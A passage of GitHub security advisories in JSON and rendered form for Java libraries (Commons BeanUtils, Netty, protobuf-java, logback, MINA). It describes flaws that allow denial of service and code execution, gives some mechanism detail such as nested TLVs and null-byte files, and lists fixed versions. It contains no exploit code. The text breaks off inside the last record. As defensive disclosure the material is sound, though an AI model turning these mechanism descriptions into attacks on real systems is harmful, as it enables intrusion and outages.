  "details": "Improper Access Control vulnerability in Apache Commons.\n\n\n\nA special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default.\n\n\n\n\n\nReleases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum\u2019s class loader via the \u201cdeclaredClass\u201d property available on all Java \u201cenum\u201d objects. Accessing the enum\u2019s \u201cdeclaredClass\u201d allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty().\nStarting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the \u201cdeclaredClass\u201d property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user\u0027s guide and the unit tests.\n\nThis issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils\n\n 1.x are recommended to upgrade to version 1.11.0, which fixes the issue.\n\n\nUsers of the artifact org.apache.commons:commons-beanutils2\n\n 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue.",
  "id": "GHSA-wxr5-93ph-8wr9",
  "modified": "2025-11-03T21:33:58Z",
  "published": "2025-05-28T15:34:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48734"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/commons-beanutils/commit/bd20740da25b69552ddef8523beec0837297eaf9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/commons-beanutils"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/s0hb3jkfj5f3ryx6c57zqtfohb0of1g9"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/06/msg00027.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/05/28/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Commons Improper Access Control vulnerability"
}

GHSA-FX2C-96VJ-985V

Vulnerability from github – Published: 2022-12-12 21:24 – Updated: 2023-01-13 17:18

Summary

HAProxyMessageDecoder Stack Exhaustion DoS

Details

Impact

A StackOverflowError can be raised when parsing a malformed crafted message due to an infinite recursion.

Patches

Users should upgrade to 4.1.86.Final.

Workarounds

There is no workaround, except using a custom HaProxyMessageDecoder.

References

When parsing a TLV with type = PP2_TYPE_SSL, the value can be again a TLV with type = PP2_TYPE_SSL and so on. The only limitation of the recursion is that the TLV length cannot be bigger than 0xffff because it is encoded in an unsigned short type. Providing a TLV with a nesting level that is large enough will lead to raising of a StackOverflowError. The StackOverflowError will be caught if HAProxyMessageDecoder is used as part of Netty’s ChannelPipeline, but using it directly without the ChannelPipeline will lead to a thrown exception / crash.

For more information

If you have any questions or comments about this advisory: * Open an issue in netty

Severity ?

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-haproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.86.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-41881"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-12T21:24:29Z",
    "nvd_published_at": "2022-12-12T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nA StackOverflowError can be raised when parsing a malformed crafted message due to an infinite recursion.\n\n### Patches\nUsers should upgrade to 4.1.86.Final.\n\n### Workarounds\nThere is no workaround, except using a custom HaProxyMessageDecoder.\n\n### References\nWhen parsing a TLV with type = PP2_TYPE_SSL, the value can be again a TLV with type = PP2_TYPE_SSL and so on.\nThe only limitation of the recursion is that the TLV length cannot be bigger than 0xffff because it is encoded in an unsigned short type.\nProviding a TLV with a nesting level that is large enough will lead to raising of a StackOverflowError.\nThe StackOverflowError will be caught if HAProxyMessageDecoder is used as part of Netty\u2019s ChannelPipeline, but using it directly without the ChannelPipeline will lead to a thrown exception / crash.\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [netty](https://github.com/netty/netty)\n",
  "id": "GHSA-fx2c-96vj-985v",
  "modified": "2023-01-13T17:18:24Z",
  "published": "2022-12-12T21:24:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-fx2c-96vj-985v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41881"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00008.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230113-0004"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5316"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HAProxyMessageDecoder Stack Exhaustion DoS"
}

GHSA-H4H5-3HR4-J3G2

Vulnerability from github – Published: 2022-10-04 22:17 – Updated: 2022-10-04 22:17

Summary

protobuf-java has a potential Denial of Service issue

Details

Summary

A potential Denial of Service issue in protobuf-java core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses.

Reporter: OSS Fuzz

Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.

Severity

CVE-2022-3171 Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication)

Remediation and Mitigation

Please update to the latest available versions of the following packages:

protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6)

Severity ?

5.7 (Medium)


                  
                    CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0-rc-1"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0-rc-1"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "google-protobuf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0.rc.1"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0-rc-1"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin-lite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0-rc-1"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0-rc-1"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.17.0-rc-1"
            },
            {
              "fixed": "3.19.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0-rc-1"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.17.0-rc-1"
            },
            {
              "fixed": "3.19.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "google-protobuf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0.rc.1"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "google-protobuf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.17.0.rc.1"
            },
            {
              "fixed": "3.19.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "google-protobuf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0-rc-1"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.17.0-rc-1"
            },
            {
              "fixed": "3.19.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin-lite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0-rc-1"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin-lite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.17.0-rc-1"
            },
            {
              "fixed": "3.19.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin-lite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-3171"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-04T22:17:15Z",
    "nvd_published_at": "2022-10-12T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nA potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. \n\nReporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771)\n\nAffected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.\n\n## Severity\n\n[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication)\n\n## Remediation and Mitigation\n\nPlease update to the latest available versions of the following packages:\n\nprotobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3)\nprotobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3)\nprotobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3)\nprotobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3)\ngoogle-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6)\n",
  "id": "GHSA-h4h5-3hr4-j3g2",
  "modified": "2022-10-04T22:17:15Z",
  "published": "2022-10-04T22:17:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-h4h5-3hr4-j3g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3171"
    },
    {
      "type": "WEB",
      "url": "https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protocolbuffers/protobuf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/releases/tag/v21.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/releases/tag/v3.16.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/releases/tag/v3.19.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/releases/tag/v3.20.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/google-protobuf/CVE-2022-3171.yml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CBAUKJQL6O4TIWYBENORSY5P43TVB4M3"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MPCGUT3T5L6C3IDWUPSUO22QDCGQKTOP"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202301-09"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "protobuf-java has a potential Denial of Service issue"
}

GHSA-G5WW-5JH7-63CX

Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2025-09-02 19:35

Summary

Protobuf Java vulnerable to Uncontrolled Resource Consumption

Details

A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.17.0"
            },
            {
              "fixed": "3.19.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0"
            },
            {
              "fixed": "3.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.21.0"
            },
            {
              "fixed": "3.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-3509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-12T22:33:53Z",
    "nvd_published_at": "2022-12-12T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.",
  "id": "GHSA-g5ww-5jh7-63cx",
  "modified": "2025-09-02T19:35:38Z",
  "published": "2022-12-12T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3509"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/a3888f53317a8018e7a439bac4abeb8f3425d5e9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/blob/v2.6.1/java/core/src/main/java/com/google/protobuf/MessageReflection.java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/blob/v3.0.0/java/core/src/main/java/com/google/protobuf/MessageReflection.java"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protocolbuffers/protobuf/tree/main/java"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Protobuf Java vulnerable to Uncontrolled Resource Consumption"
}

GHSA-389X-839F-4RHX

Vulnerability from github – Published: 2025-02-10 18:14 – Updated: 2025-03-19 14:51

Summary

Denial of Service attack on windows app using Netty

Details

Summary

An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.

Details

A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit.

PoC

The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. When the null-bytes are encountered by the InputStreamReader, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the BufferedReader.readLine(), because the replacement character is not a line-break character.

Impact

Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv

Severity ?

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.118.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25193"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-10T18:14:47Z",
    "nvd_published_at": "2025-02-10T22:15:38Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn unsafe reading of environment file could potentially cause a denial of service in Netty.\nWhen loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.\n\n### Details\nA similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv\nThis issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit.\n\n\n### PoC\nThe PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00.\nWhen the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character.\n\n### Impact\nImpact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv",
  "id": "GHSA-389x-839f-4rhx",
  "modified": "2025-03-19T14:51:27Z",
  "published": "2025-02-10T18:14:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-389x-839f-4rhx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25193"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/d1fbda62d3a47835d3fb35db8bd42ecc205a5386"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250221-0006"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service attack on windows app using Netty"
}

GHSA-25QH-J22F-PWP8

Vulnerability from github – Published: 2025-10-01 09:30 – Updated: 2025-10-31 20:17

Summary

QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing

Details

QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution.

A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges.

Severity ?

5.9 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.5.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-11226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-21T21:10:11Z",
    "nvd_published_at": "2025-10-01T08:15:31Z",
    "severity": "MODERATE"
  },
  "details": "QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution.\n\nA successful attack requires the Janino library and Spring Framework to be present on the user\u0027s class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges.",
  "id": "GHSA-25qh-j22f-pwp8",
  "modified": "2025-10-31T20:17:45Z",
  "published": "2025-10-01T09:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11226"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/issues/974"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/commit/61f6a2544f36b3016e0efd434ee21f19269f1df7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qos-ch/logback"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/releases/tag/v_1.5.19"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.3.16"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.5.19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing"
}

GHSA-76H9-2VWH-W278

Vulnerability from github – Published: 2024-12-25 12:30 – Updated: 2025-02-12 18:18

Summary

Apache MINA Deserialization RCE Vulnerability

Details

The ObjectSerializationDecoder in Apache MINA uses Java’s native deserialization protocol to process incoming serialized data but lacks the necessary security checks and defenses. This vulnerability allows attackers to exploit the deserialization process by sending specially crafted malicious serialized data, potentially leading to remote code execution (RCE) attacks.

This issue affects MINA core versions 2.0.X, 2.1.X and 2.2.X, and will be fixed by the releases 2.0.27, 2.1.10 and 2.2.4.

It's also important to note that an application using MINA core library will only be affected if the IoBuffer#getObject() method is called, and this specific method is potentially called when adding a ProtocolCodecFilter instance using the ObjectSerializationCodecFactory class in the filter chain. If your application is specifically using those classes, you have to upgrade to the latest version of MINA core library.

Upgrading will not be enough: you also need to explicitly allow the classes the decoder will accept in the ObjectSerializationDecoder instance, using one of the three new methods:

* Accept class names where the supplied ClassNameMatcher matches for deserialization, unless they are otherwise rejected.
- @param classNameMatcher the matcher to use
- / public void accept(ClassNameMatcher classNameMatcher)
- Accept class names that match the supplied pattern for deserialization, unless they are otherwise rejected.
- @param pattern standard Java regexp
- / public void accept(Pattern pattern)

3. * Accept the wildcard specified classes for deserialization, unless they are otherwise rejected. * @param patterns Wildcard file name patterns as defined by {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch} * / public void accept(String... patterns)

By default, the decoder will reject all classes that will be present in the incoming data.

Note: The FtpServer, SSHd and Vysper sub-project are not affected by this issue.

Severity ?

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10.0 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.mina:mina-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.mina:mina-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.mina:mina-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-M1"
            },
            {
              "fixed": "2.0.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-52046"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-26T15:59:46Z",
    "nvd_published_at": "2024-12-25T10:15:05Z",
    "severity": "CRITICAL"
  },
